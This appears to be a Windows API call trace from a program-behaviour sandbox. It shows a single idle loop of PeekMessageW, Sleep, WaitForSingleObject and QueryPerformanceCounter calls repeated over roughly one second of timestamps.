[0130.610] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.611] Sleep (dwMilliseconds=0x64) [0130.624] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.624] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=709955247) returned 1 [0130.624] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=709955434) returned 1 [0130.625] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.626] Sleep (dwMilliseconds=0x64) [0130.640] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.640] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=710008293) returned 1 [0130.640] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=710008476) returned 1 [0130.641] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.641] Sleep (dwMilliseconds=0x64) [0130.656] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.656] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=710063863) returned 1 [0130.656] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=710064042) returned 1 [0130.657] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.657] Sleep (dwMilliseconds=0x64) [0130.673] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.673] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=710121789) returned 1 [0130.673] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=710121974) returned 1 [0130.674] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.674] Sleep (dwMilliseconds=0x64) [0130.687] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.687] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=710168590) returned 1 [0130.687] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=710168762) returned 1 [0130.687] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.688] Sleep (dwMilliseconds=0x64) [0130.702] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.702] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=710221561) returned 1 [0130.702] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=710221729) returned 1 [0130.703] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.703] Sleep (dwMilliseconds=0x64) [0130.718] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.718] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=710274898) returned 1 [0130.718] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=710275074) returned 1 [0130.718] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.719] Sleep (dwMilliseconds=0x64) [0130.733] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.734] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=710328229) returned 1 [0130.734] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=710328414) returned 1 [0130.734] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.735] Sleep (dwMilliseconds=0x64) [0130.749] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.749] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=710381798) returned 1 [0130.749] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=710381973) returned 1 [0130.750] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.750] Sleep (dwMilliseconds=0x64) [0130.765] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.765] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=710436906) returned 1 [0130.765] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=710437073) returned 1 [0130.766] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.766] Sleep (dwMilliseconds=0x64) [0130.780] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.780] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=710488203) returned 1 [0130.780] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=710488383) returned 1 [0130.781] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.781] Sleep (dwMilliseconds=0x64) [0130.796] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.796] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=710541468) returned 1 [0130.796] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=710541647) returned 1 [0130.796] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.797] Sleep (dwMilliseconds=0x64) [0130.811] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.812] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=710595085) returned 1 [0130.812] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=710595250) returned 1 [0130.812] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.813] Sleep (dwMilliseconds=0x64) [0130.827] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.827] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=710648065) returned 1 [0130.827] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=710648231) returned 1 [0130.828] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.828] Sleep (dwMilliseconds=0x64) [0130.843] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.843] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=710701419) returned 1 [0130.843] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=710701606) returned 1 [0130.843] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.844] Sleep (dwMilliseconds=0x64) [0130.859] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.859] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=710756161) returned 1 [0130.859] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=710756354) returned 1 [0130.860] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.861] Sleep (dwMilliseconds=0x64) [0130.880] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.880] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=710829323) returned 1 [0130.880] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=710829501) returned 1 [0130.881] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.881] Sleep (dwMilliseconds=0x64) [0130.903] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.903] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=710908989) returned 1 [0130.903] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=710909136) returned 1 [0130.904] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.904] Sleep (dwMilliseconds=0x64) [0130.906] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.906] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=710919217) returned 1 [0130.906] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=710919355) returned 1 [0130.907] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.907] Sleep (dwMilliseconds=0x64) [0130.921] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.921] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=710968244) returned 1 [0130.921] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=710968393) returned 1 [0130.921] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.922] Sleep (dwMilliseconds=0x64) [0130.936] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.936] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=711021705) returned 1 [0130.936] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=711021854) returned 1 [0130.937] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.937] Sleep (dwMilliseconds=0x64) [0130.952] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.952] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=711074810) returned 1 [0130.952] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=711074959) returned 1 [0130.952] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.953] Sleep (dwMilliseconds=0x64) [0130.968] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.968] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=711130425) returned 1 [0130.968] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=711130618) returned 1 [0130.969] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.969] Sleep (dwMilliseconds=0x64) [0130.983] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.983] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=711181565) returned 1 [0130.983] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=711181828) returned 1 [0130.984] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0130.984] Sleep (dwMilliseconds=0x64) [0130.999] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0130.999] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=711234913) returned 1 [0130.999] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=711235098) returned 1 [0130.999] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.000] Sleep (dwMilliseconds=0x64) [0131.014] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.015] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=711288904) returned 1 [0131.015] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=711289089) returned 1 [0131.015] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.016] Sleep (dwMilliseconds=0x64) [0131.030] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.030] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=711341353) returned 1 [0131.030] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=711341532) returned 1 [0131.031] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.031] Sleep (dwMilliseconds=0x64) [0131.046] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.046] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=711395241) returned 1 [0131.046] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=711395421) returned 1 [0131.046] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.047] Sleep (dwMilliseconds=0x64) [0131.062] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.062] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=711452720) returned 1 [0131.063] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=711452906) returned 1 [0131.063] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.064] Sleep (dwMilliseconds=0x64) [0131.078] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.078] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=711504455) returned 1 [0131.078] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=711504628) returned 1 [0131.078] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.079] Sleep (dwMilliseconds=0x64) [0131.092] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.092] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=711554507) returned 1 [0131.092] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=711554674) returned 1 [0131.093] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.093] Sleep (dwMilliseconds=0x64) [0131.108] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.108] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=711607897) returned 1 [0131.108] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=711608127) returned 1 [0131.108] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.109] Sleep (dwMilliseconds=0x64) [0131.124] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.124] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=711662136) returned 1 [0131.124] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=711662303) returned 1 [0131.124] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.125] Sleep (dwMilliseconds=0x64) [0131.139] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.139] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=711714419) returned 1 [0131.139] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=711714595) returned 1 [0131.140] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.140] Sleep (dwMilliseconds=0x64) [0131.155] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.155] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=711767874) returned 1 [0131.155] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=711768054) returned 1 [0131.155] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.156] Sleep (dwMilliseconds=0x64) [0131.174] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.174] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=711833609) returned 1 [0131.174] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=711833777) returned 1 [0131.175] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.175] Sleep (dwMilliseconds=0x64) [0131.186] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.187] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=711876803) returned 1 [0131.187] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=711876968) returned 1 [0131.187] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.188] Sleep (dwMilliseconds=0x64) [0131.202] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.202] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=711930593) returned 1 [0131.202] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=711930781) returned 1 [0131.203] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.203] Sleep (dwMilliseconds=0x64) [0131.217] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.217] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=711981174) returned 1 [0131.217] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=711981355) returned 1 [0131.218] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.218] Sleep (dwMilliseconds=0x64) [0131.233] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.233] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=712034383) returned 1 [0131.233] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=712034549) returned 1 [0131.233] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.234] Sleep (dwMilliseconds=0x64) [0131.248] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.248] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=712088121) returned 1 [0131.248] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=712088289) returned 1 [0131.249] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.249] Sleep (dwMilliseconds=0x64) [0131.264] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.264] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=712141122) returned 1 [0131.264] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=712141305) returned 1 [0131.264] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.265] Sleep (dwMilliseconds=0x64) [0131.279] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.280] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=712194455) returned 1 [0131.280] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=712194622) returned 1 [0131.280] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.281] Sleep (dwMilliseconds=0x64) [0131.296] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.296] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=712249817) returned 1 [0131.296] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=712250002) returned 1 [0131.296] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.297] Sleep (dwMilliseconds=0x64) [0131.311] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.311] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=712301358) returned 1 [0131.311] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=712301544) returned 1 [0131.311] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.312] Sleep (dwMilliseconds=0x64) [0131.326] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.326] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=712354428) returned 1 [0131.326] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=712354601) returned 1 [0131.327] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.327] Sleep (dwMilliseconds=0x64) [0131.342] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.342] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=712407693) returned 1 [0131.342] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=712407879) returned 1 [0131.342] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.343] Sleep (dwMilliseconds=0x64) [0131.358] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.358] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=712462017) returned 1 [0131.358] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=712462190) returned 1 [0131.358] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.359] Sleep (dwMilliseconds=0x64) [0131.373] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.373] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=712514538) returned 1 [0131.373] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=712514708) returned 1 [0131.374] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.374] Sleep (dwMilliseconds=0x64) [0131.389] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.389] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=712567570) returned 1 [0131.389] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=712567745) returned 1 